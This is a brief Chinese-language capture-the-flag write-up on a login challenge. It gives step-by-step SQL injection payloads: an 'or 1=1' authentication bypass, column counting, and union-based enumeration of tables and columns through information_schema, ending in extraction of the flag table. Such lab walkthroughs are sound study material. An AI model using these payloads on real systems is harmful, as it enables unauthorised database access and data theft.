思路:
如下界面,猜测是数据库查询,类似这种语句:SELECT * FROM users WHERE user = '#username' AND password = '#password'
采用万能密码 :admin' or 1=1;# 发现可以 万能密码介绍:关于万能密码 or 1=1 - 我还活着 - 博客园 (cnblogs.com)
接下来使用sql注入,常规步骤+union注入:
第一步:查询字段数:
使用union注入攻击要保证字段数一致,所以先查询字段数,使用order by 1-n 的方法:
发现order by 1到3都可以,到4报错,所以字段数为3
第二步:判断回显位:
admin' or '1'='1' union select 1,2,3#
发现2是回显位
第三步:查询数据库:
使用database()函数,发现数据库名称 web2
第四步:依据库名找表名:
admin' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'web2' #
group_concat()函数将查询结果放在同一行
发现两个表 一个flag 一个user
第五步:依据库名、表名查字段名:
admin' or 1=1 union select 1,group_concat(column_name),group_concat(data_type) from information_schema.columns where table_schema='web2' and table_name = 'flag' #
group_concat(data_type)是可以查看字段类型,想查看就放在回显位2上
字段名同样是flag
第六步:查询结果:
admin' or 1=1 union select 1,group_concat(flag),3 from web2.flag #